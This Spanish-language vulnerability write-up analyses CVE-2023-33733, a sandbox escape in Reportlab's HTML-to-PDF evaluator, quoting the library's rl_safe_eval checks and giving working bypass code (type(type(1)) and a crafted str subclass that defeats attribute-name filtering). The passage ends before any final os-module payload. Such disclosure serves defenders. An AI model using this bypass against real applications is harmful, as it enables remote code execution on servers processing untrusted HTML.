
Análisis técnico detallado y exploit de prueba de concepto para CVE-2023-33733, una vulnerabilidad de ejecución remota de código en la librería Python Reportlab mediante la omisión del sandbox en el procesamiento de HTML a PDF.
tl;dr Este artículo detalla cómo se encontró y explotó una RCE en Reportlab. Debido a la prevalencia de Reportlab en el procesamiento de HTML a PDF, esta vulnerabilidad puede ser alcanzable en muchas aplicaciones que procesan archivos PDF, lo que la convierte en una importante para parchear y vigilar.
Hace unos días, durante una auditoría de aplicación web, notamos que la aplicación utilizaba la biblioteca Python Reportlab para realizar la generación dinámica de archivos PDF a partir de entrada HTML. Se descubrió que Reportlab tenía una vulnerabilidad previamente parcheada que conducía a la ejecución de código. Encontrar un bypass al parche resultó bastante interesante desde el punto de vista del atacante, ya que llevaría al redescubrimiento de la ejecución de código, especialmente porque la biblioteca Reportlab también se usa en otras aplicaciones y herramientas.
Primero lo primero, un breve resumen: Reportlab es un proyecto de código abierto que permite la creación de documentos en el Formato de Documento Portátil (PDF) de Adobe utilizando el lenguaje de programación Python. También crea gráficos y datos gráficos en varios formatos de mapa de bits y vectoriales, así como PDF.
La biblioteca sufrió en 2019 un exploit similar que conducía a la ejecución remota de código mediante el atributo Color de las etiquetas HTML; el contenido del atributo era evaluado directamente como una expresión de Python usando la función eval, lo que llevaba a la ejecución de código. Para mitigar el problema, Reportlab implementó un sandbox llamado rl_safe_eval que está despojado de todas las funciones integradas de Python y tiene múltiples funciones integradas reemplazadas para permitir la ejecución del código seguro de la biblioteca mientras se detiene cualquier acceso a funciones y bibliotecas peligrosas que puedan conducir a la construcción de código Python peligroso:
Un ejemplo de estas medidas de prevención es que la función integrada getattr es reemplazada por una función restringida __rl_getitem__ que prohíbe el acceso a cualquier atributo peligroso de los objetos, como los que comienzan con __:
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# EN ESTA LÍNEA SE PUEDE OBSERVAR QUE EL BUILTIN GETATR ES REEMPLAZADO POR UNA FUNCIÓN PERSONALIZADA
# QUE VERIFICA LA SEGURIDAD DEL NOMBRE DEL ATRIBUTO PASADO ANTES DE OBTENERLO
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# SE REALIZAN MÚLTIPLES VERIFICACIONES ANTES DE OBTENER EL ATRIBUTO Y DEVOLVERLO
# AL LLAMANTE EN EL ENTORNO EVAL SANDBOXED
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
# NO ACCESO A ATRIBUTOS QUE COMIENCEN CON __ O QUE COINCIDAN CON NOMBRES DE ATRIBUTOS INSEGUROS PREDEFINIDOS
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
El eval seguro, como se describió anteriormente, sanitiza el entorno eliminando todas las funciones peligrosas, de modo que el código ejecutado no tenga acceso a herramientas peligrosas que puedan usarse para realizar acciones maliciosas. Sin embargo, si se encuentra un bypass a esas restricciones y se logra el acceso a una de las funciones integradas originales, facilitaría enormemente la explotación del entorno sandboxed.
Una de las muchas clases integradas reemplazadas se llama type; si esta clase se llama con un argumento, devuelve el tipo de un objeto. Sin embargo, si se llama con tres argumentos, devuelve un nuevo objeto de tipo. Esto es esencialmente una forma dinámica de la declaración de clase. En otras palabras, puede permitir la creación de una nueva clase que herede de otra clase.
Así que la idea aquí es crear una nueva clase llamada Word que herede de str y que, al pasarse al getattr personalizado, eluda las comprobaciones y permita el acceso a atributos sensibles como __code__.
Antes de que el getattr personalizado en el eval sandboxed devuelva el atributo, realiza algunas comprobaciones llamando a __rl_is_allowed_name__ para verificar la seguridad del atributo llamado antes de llamar al getattr integrado de Python y devolver el resultado.
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
Para eludir la función __rl_is_allowed_name__, la clase Word debe:
False para las llamadas a la función startswith para eludir (name.startswith('__')False en su primera llamada a __eq__ para eludir name in __rl_unsafe__; después de la primera llamada, debe devolver la respuesta correcta porque cuando __eq__ es llamado por el getattr integrado de Python, debe devolver el resultado correcto.La siguiente clase cumple estos criterios:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## imprime False
print(code == '__code__') ## imprime True
print(code == '__code__') ## imprime True
print(code == '__code__') ## imprime True
print(code.startswith('__')) ## imprime False
La función type personalizada en el eval seguro no permite que se le pasen tres argumentos:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
Se encontró un bypass para esto llamando a type sobre sí mismo, lo que permite recuperar la función type integrada original:
orgTypeFun = type(type(1))
Combinando estas dos líneas de código se obtendría algo como esto:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
El exploit original sufría de múltiples limitaciones que lo hacían explotable solo en Python 3.10; para resolver estos problemas se ha creado un nuevo enfoque para acceder al módulo os de Python.